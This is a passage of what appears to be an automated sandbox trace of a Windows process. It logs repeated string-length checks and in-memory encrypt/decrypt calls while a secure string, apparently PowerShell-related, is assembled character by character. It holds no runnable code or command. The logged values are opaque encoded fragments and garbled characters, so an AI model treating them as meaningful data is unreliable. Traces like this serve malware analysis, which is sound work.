Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Y旕䧬ሏ") returned 0x18 [0125.142] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x1ea2\x6cea\x35ae\x27f6\xbcea\xb157\x7ebc\x513") returned 0x18 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x1ea2\x6cea\x35ae\x27f6\xbcea\xb157\x7ebc\x513") returned 0x18 [0125.142] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya䧬ሏ") returned 0x18 [0125.142] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\xe188\x78b\x3190\x7b11\xcba0\x7e11\x4564\xeac8") returned 0x18 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\xe188\x78b\x3190\x7b11\xcba0\x7e11\x4564\xeac8") returned 0x18 [0125.142] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5ሏ") returned 0x18 [0125.142] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x4255\xce36\x24fa\x495f\x4b29\xc36\xa777\xc072") returned 0x18 [0125.142] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x4255\xce36\x24fa\x495f\x4b29\xc36\xa777\xc072") returned 0x18 [0125.142] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.142] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5g") returned 0x18 [0125.142] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x4a83\xaf91\xcbd7\x619f\xe865\x4185\x96a0\xf2b6") returned 0x18 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x4a83\xaf91\xcbd7\x619f\xe865\x4185\x96a0\xf2b6") returned 0x18 [0125.143] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.143] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJ") returned 0x18 [0125.143] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6") returned 0x18 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6") returned 0x18 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6") returned 0x18 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6") returned 0x20 [0125.143] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.143] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJN榓罬죟ﵼ衞堒ꀵ") returned 0x20 [0125.143] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x122a\x876e\x14e1\x44bd\x4a8d\x45d8\x7bf1\xb97") returned 0x20 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x122a\x876e\x14e1\x44bd\x4a8d\x45d8\x7bf1\xb97") returned 0x20 [0125.143] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.143] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJND罬죟ﵼ衞堒ꀵ") returned 0x20 [0125.143] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x6056\xd4bb\xe0fa\xbc86\xca69\x2789\xb86d\x8c34") returned 0x20 [0125.143] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x6056\xd4bb\xe0fa\xbc86\xca69\x2789\xb86d\x8c34") returned 0x20 [0125.143] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.143] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP죟ﵼ衞堒ꀵ") returned 0x20 [0125.143] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xffe1\x7896\x7df2\x7910\x6dd5\x5ea\x4be5\x4e2f") returned 0x20 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xffe1\x7896\x7df2\x7910\x6dd5\x5ea\x4be5\x4e2f") returned 0x20 [0125.144] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6ﵼ衞堒ꀵ") returned 0x20 [0125.144] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xcdb\xe857\xe2cc\xec9f\x82b4\xa13f\x3c3a\x64f") returned 0x20 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xcdb\xe857\xe2cc\xec9f\x82b4\xa13f\x3c3a\x64f") returned 0x20 [0125.144] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k衞堒ꀵ") returned 0x20 [0125.144] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x55f1\x4764\x8d35\x71a3\xde3d\xa3c8\xde58\x175e") returned 0x20 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\x55f1\x4764\x8d35\x71a3\xde3d\xa3c8\xde58\x175e") returned 0x20 [0125.144] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7堒ꀵ") returned 0x20 [0125.144] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xfa22\xc512\x7472\x81bc\xe073\x65a0\x22a\xdc64") returned 0x20 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xfa22\xc512\x7472\x81bc\xe073\x65a0\x22a\xdc64") returned 0x20 [0125.144] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nꀵ") returned 0x20 [0125.144] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xe223\x9259\xdfe8\x1adc\x53e5\xd0fc\x194b\x67fe") returned 0x20 [0125.144] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xe223\x9259\xdfe8\x1adc\x53e5\xd0fc\x194b\x67fe") returned 0x20 [0125.145] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.145] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nr") returned 0x20 [0125.145] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208") returned 0x20 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208") returned 0x20 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208") returned 0x20 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0125.145] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.145] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrR〓羰ӎ竿⧦鼹") returned 0x28 [0125.145] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\x1c8e\x34b9\x9fd5\xb6fc\xdb3c\xfc\x1f6e\x68dc") returned 0x28 [0125.145] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\x1c8e\x34b9\x9fd5\xb6fc\xdb3c\xfc\x1f6e\x68dc") returned 0x28 [0125.145] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.145] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH羰ӎ竿⧦鼹") returned 0x28 [0125.146] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xe3ce\xcf12\x4eea\x3912\x8a5d\x5875\xa958\x5f93") returned 0x28 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xe3ce\xcf12\x4eea\x3912\x8a5d\x5875\xa958\x5f93") returned 0x28 [0125.146] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4ӎ竿⧦鼹") returned 0x28 [0125.146] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\x6c76\xb3b1\x8848\x8767\x884d\x510d\x21a7\xb962") returned 0x28 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\x6c76\xb3b1\x8848\x8767\x884d\x510d\x21a7\xb962") returned 0x28 [0125.146] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J竿⧦鼹") returned 0x28 [0125.146] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xc3f0\x13e1\xbd82\x2236\x493c\xc55a\x37b7\x808f") returned 0x28 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xc3f0\x13e1\xbd82\x2236\x493c\xc55a\x37b7\x808f") returned 0x28 [0125.146] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5⧦鼹") returned 0x28 [0125.146] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd9dc\x8433\x8268\x2021\x2d97\x5930\x73d4\x3aa") returned 0x28 [0125.146] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd9dc\x8433\x8268\x2021\x2d97\x5930\x73d4\x3aa") returned 0x28 [0125.146] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5i⧦鼹") returned 0x28 [0125.147] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xbfb8\x8bf4\xb22c\x1a22\x85ff\xb2e2\xd921\x641f") returned 0x28 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xbfb8\x8bf4\xb22c\x1a22\x85ff\xb2e2\xd921\x641f") returned 0x28 [0125.147] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iG鼹") returned 0x28 [0125.147] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xef83\xd18f\x6754\xb0ea\x6528\x2819\xa29b\x7c2d") returned 0x28 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xef83\xd18f\x6754\xb0ea\x6528\x2819\xa29b\x7c2d") returned 0x28 [0125.147] SystemFunction041 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iGY") returned 0x28 [0125.147] SystemFunction040 (in: Memory=0x8e6f6ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f6ec) returned 0x0 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635") returned 0x28 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635") returned 0x28 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635") returned 0x28 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635") returned 0x30 [0125.147] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.147] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iGYS促䈴⳶㜨줴昫囦") returned 0x30 [0125.147] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xfc9d\x4821\x4df6\x9d6b\x7953\xddda\x8d98\xb046") returned 0x30 [0125.147] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xfc9d\x4821\x4df6\x9d6b\x7953\xddda\x8d98\xb046") returned 0x30 [0125.148] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iGYSZ䈴⳶㜨줴昫囦") returned 0x30 [0125.148] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xbec4\xbe28\xc2e2\xeb0c\x5bed\x4ef9\x6655\x844a") returned 0x30 [0125.148] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xbec4\xbe28\xc2e2\xeb0c\x5bed\x4ef9\x6655\x844a") returned 0x30 [0125.148] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] SysStringLen 